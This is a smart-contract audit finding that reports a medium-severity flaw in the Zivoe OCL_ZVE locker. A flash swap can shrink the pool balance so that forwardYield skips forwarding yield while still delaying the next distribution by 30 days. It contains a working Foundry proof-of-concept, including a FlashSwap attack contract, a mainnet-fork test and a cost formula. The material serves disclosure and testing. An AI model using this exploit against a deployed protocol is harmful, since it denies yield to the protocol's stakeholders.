Sleepy Fuzzy Pig

medium

# ```forwardYield``` in ```OCL_ZVE``` can be manipulated to not forwarding yield by flash swap

## Summary
```forwardYield``` in ```OCL_ZVE``` can be manipulated to not forwarding yield by flash swap
## Vulnerability Detail
The attack path can be:
1. attacker borrows a certain amount of ```pairAsset``` tokens using a flashswap in ```pairAsset/ZVE``` pool.
2. attacker call ```forwardYield```.
```solidity
        (uint256 amount, uint256 lp) = fetchBasis();
        if (amount > basis) { _forwardYield(amount, lp); }
```
The reduction of ```pairAsset``` token amount due to flashswap will lead to ```amount <= basis```. ```_forwardYield``` will not be executed. The yield won't be forwarded. But the ```nextYieldDistribution``` will add 30 days.

3. attacker repay the borrowed ```pairAsset``` tokens and flashswap fee.
The minimum flashswap amount required for a successful attack:
```solidity 
uint256 minAmountForFlashSwap =
            IERC20(pairAsset).balanceOf(pool) - basis * IPair(pool).totalSupply() / IERC20(pool).balanceOf(address(OCL_ZVE));
```
The cost of carrying out the attack: ```minAmountForFlashSwap*0.3%```.
If the majority of liquidity is provided by ```OCL_ZVE```, the attacker's attack cost will be significantly lower.
So the yield won't be forwarded. But the ```nextYieldDistribution``` will add 30 days.
Additionally, significant price volatility in ZVE could also hinder the ability to foward yield.
## POC
Create a new file (Test_OCL_ZVE_POC.sol) under zivoe-core-testing/src/TESTS_Locker, paste the provided code into it:
```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.17;

import "../Utility/Utility.sol";

import "../../lib/zivoe-core-foundry/src/lockers/OCL/OCL_ZVE.sol";
import "../../lib/zivoe-core-foundry/src/lockers/OCT/OCT_YDL.sol";

import "../../lib/zivoe-core-foundry/src/lockers/OCG/OCG_ERC20_FreeClaim.sol";

interface IPair {
    function factory() external view returns (address);

    function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast);

    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes memory data) external;

    function token0() external view returns (address);

    function token1() external view returns (address);

    function totalSupply() external view returns (uint256);
}

interface I_OCL_ZVE {
    function forwardYield() external;
}

contract FlashSwap {
    IPair pair;

    constructor(address _pair) {
        pair = IPair(_pair);
    }

    function executeFlashSwap(address _token, uint256 _amount, bytes memory data) external {
        if (_token == pair.token0()) {
            pair.swap(_amount, 0, address(this), data);
        } else if (_token == pair.token1()) {
            pair.swap(0, _amount, address(this), data);
        } else {
            revert("Wrong token!");
        }
    }

    function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes memory data) external {
        require(sender == address(this), "Wrong call!");
        require(msg.sender == address(pair), "Not pair called");
        address ocl_zve_univ2 = abi.decode(data, (address));
        I_OCL_ZVE(ocl_zve_univ2).forwardYield();
        address token0 = pair.token0();
        address token1 = pair.token1();
        if (amount0 == 0) {
            IERC20(token1).approve(address(pair), amount1 + amount1 * 3 / 997 + 1);
            IERC20(token1).transfer(address(pair), amount1 + amount1 * 3 / 997 + 1);
        } else {
            IERC20(token0).approve(address(pair), amount0 + amount0 * 3 / 997 + 1);
            IERC20(token0).transfer(address(pair), amount0 + amount0 * 3 / 997 + 1);
        }
    }
}

contract Test_OCL_ZVE_POC is Utility {
    using SafeERC20 for IERC20;

    OCL_ZVE OCL_ZVE_UNIV2_USDC;

    OCT_YDL Treasury;

    FlashSwap flashswap;

    address usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
    address whale = 0x8e5dEdeAEb2EC54d0508973a0Fccd1754586974A;
    address user = makeAddr("user");

    address public UNIV2_ROUTER;

    function setUp() public {
        deployCore(false);

        Treasury = new OCT_YDL(address(DAO), address(GBL));

        // Simulate ITO (10mm * 8 * 4), DAI/FRAX/USDC/USDT.
        simulateITO(10_000_000 ether, 10_000_000 ether, 10_000_000 * USD, 10_000_000 * USD);

        // Initialize and whitelist OCL_ZVE Uniswap v2 locker's.
        OCL_ZVE_UNIV2_USDC =
            new OCL_ZVE(address(DAO), address(GBL), USDC, UNISWAP_V2_ROUTER_02, UNISWAP_V2_FACTORY, address(Treasury));

        zvl.try_updateIsLocker(address(GBL), address(OCL_ZVE_UNIV2_USDC), true);

        UNIV2_ROUTER = OCL_ZVE_UNIV2_USDC.router();
    }

    function test_attack_forwardYield_DOS() public {
        hevm.startPrank(whale);
        IERC20(usdc).transfer(address(this), 10000 * 10 ** 6);
        hevm.stopPrank();

        address[] memory assets = new address[](2);
        uint256[] memory amounts = new uint256[](2);

        assets[0] = usdc;
        assets[1] = address(ZVE);
        amounts[0] = 10000 * 10 ** 6;
        amounts[1] = 10000 ether;

        // Pre-state before adding liquidity
        assertEq(OCL_ZVE_UNIV2_USDC.basis(), 0);
        assertEq(OCL_ZVE_UNIV2_USDC.nextYieldDistribution(), 0);

        // 1. OCL_ZVE add liquidity to uniswap pool
        assert(god.try_pushMulti(address(DAO), address(OCL_ZVE_UNIV2_USDC), assets, amounts, new bytes[](2)));

        // Post-state after adding liquidity
        (uint256 basis, uint256 lpTokensBefore) = OCL_ZVE_UNIV2_USDC.fetchBasis();
        assertGt(lpTokensBefore, 0);
        assertEq(OCL_ZVE_UNIV2_USDC.basis(), basis);
        assertEq(OCL_ZVE_UNIV2_USDC.nextYieldDistribution(), block.timestamp + 30 days);

        hevm.startPrank(whale);
        IERC20(usdc).transfer(user, 100000 * 10 ** 6);
        hevm.stopPrank();

        // 2. simulate swapping
        hevm.startPrank(user);
        IERC20(address(ZVE)).approve(UNIV2_ROUTER, type(uint128).max);
        IERC20(usdc).approve(UNIV2_ROUTER, type(uint128).max);
        for (uint256 i = 0; i < 20; i++) {
            simulationSwapUSDCToZVE(10 * 10 ** 6);
        }
        hevm.stopPrank();

        // 3. normally amount > basis
        (uint256 amount,) = OCL_ZVE_UNIV2_USDC.fetchBasis();
        assertGt(amount, basis);

        // 4. flashswap
        address pair = IUniswapV2Factory(UNISWAP_V2_FACTORY).getPair(usdc, address(ZVE));
        flashswap = new FlashSwap(pair);

        hevm.startPrank(whale);
        IERC20(usdc).transfer(address(flashswap), 10000 * 10 ** 6);
        hevm.stopPrank();

        hevm.warp(OCL_ZVE_UNIV2_USDC.nextYieldDistribution() + 1);

        uint256 amountForFlashSwap = IERC20(usdc).balanceOf(pair)
            - basis * IPair(pair).totalSupply() / IERC20(pair).balanceOf(address(OCL_ZVE_UNIV2_USDC));
        bytes memory data = abi.encode(address(OCL_ZVE_UNIV2_USDC));
        flashswap.executeFlashSwap(usdc, amountForFlashSwap, data);

        (, uint256 lpTokensAfter) = OCL_ZVE_UNIV2_USDC.fetchBasis();
        // unchanged number of LP tokens implies that yield didn't be forwarded
        assertEq(lpTokensBefore, lpTokensAfter);
        assertEq(OCL_ZVE_UNIV2_USDC.nextYieldDistribution(), block.timestamp + 30 days - 1);
    }

    function simulationSwapUSDCToZVE(uint256 amount) public {
        address[] memory path = new address[](2);
        path[0] = usdc;
        path[1] = address(ZVE);
        IUniswapV2Router01(UNIV2_ROUTER).swapExactTokensForTokens(amount, 0, path, user, block.timestamp);
    }
}
```
Enter the following command in the terminal:
```solidity
forge test --mt test_attack_forwardYield_DOS --rpc-url https://eth-mainnet.g.alchemy.com/v2/YOUR_API_KEY
```
## Impact
Yield in ```OCL_ZVE``` won't be forwarded because of flashswap manipulation.
## Code Snippet
https://github.com/sherlock-audit/2024-03-zivoe/blob/main/zivoe-core-foundry/src/lockers/OCL/OCL_ZVE.sol#L287-L304
https://github.com/sherlock-audit/2024-03-zivoe/blob/main/zivoe-core-foundry/src/lockers/OCL/OCL_ZVE.sol#L336-L342
## Tool used
manual and foundry
## Recommendation
Just let keeper call ```forwardYield```.